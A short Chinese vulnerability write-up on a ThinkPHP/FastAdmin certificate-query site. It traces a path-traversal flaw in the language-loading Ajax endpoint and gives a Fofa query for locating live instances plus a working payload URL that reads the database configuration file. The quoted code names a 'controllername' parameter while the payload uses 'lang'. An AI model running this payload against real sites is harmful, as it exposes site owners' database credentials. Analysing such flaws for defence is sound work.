超证书在线查询系统,资质证书显示网站源码,证书查询自适应手机端,采用的是thinkphp开源内核,无版权可商用,非常不错的,可开发度很高,可以继续美化和开发。
Fofa语句:"/index/js/jquery.uls.data.js"
漏洞分析
源码框架是fastadmin写的,在/application/index/controller/Ajax.php 中,传入参数后进入到了loadlang()函数,我们追踪一下:
/** * Ajax异步请求接口 * @internal */class Ajax extends Frontend{ protected $noNeedLogin = ['lang']; protected $noNeedRight = ['*']; protected $layout = ''; /** * 加载语言包 */ public function lang(){ header('Content-Type: application/javascript'); header("Cache-Control: public"); header("Pragma: cache"); $offset = 30 * 60 * 60 * 24; // 缓存一个月 header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT"); $controllername = input("controllername"); $this->loadlang($controllername); //强制输出JSON Object $result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]); return $result; }
进入到了 /common/controller/Api.php 的loadlang中,直接调用Load函数包含../lang/xxx.php 文件
/*** 加载语言文件* @param string $name*/protected function loadlang($name){ $name = Loader::parseName($name); Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');}
所以我们只需要传入lang=../../application/database 即可跨目录读取数据库文件.
漏洞证明
Payload:/index/ajax/lang?lang=../../application/database
ThinkPHP超证书查询系统源码下载地址:http://www.myshengong.com/download/1316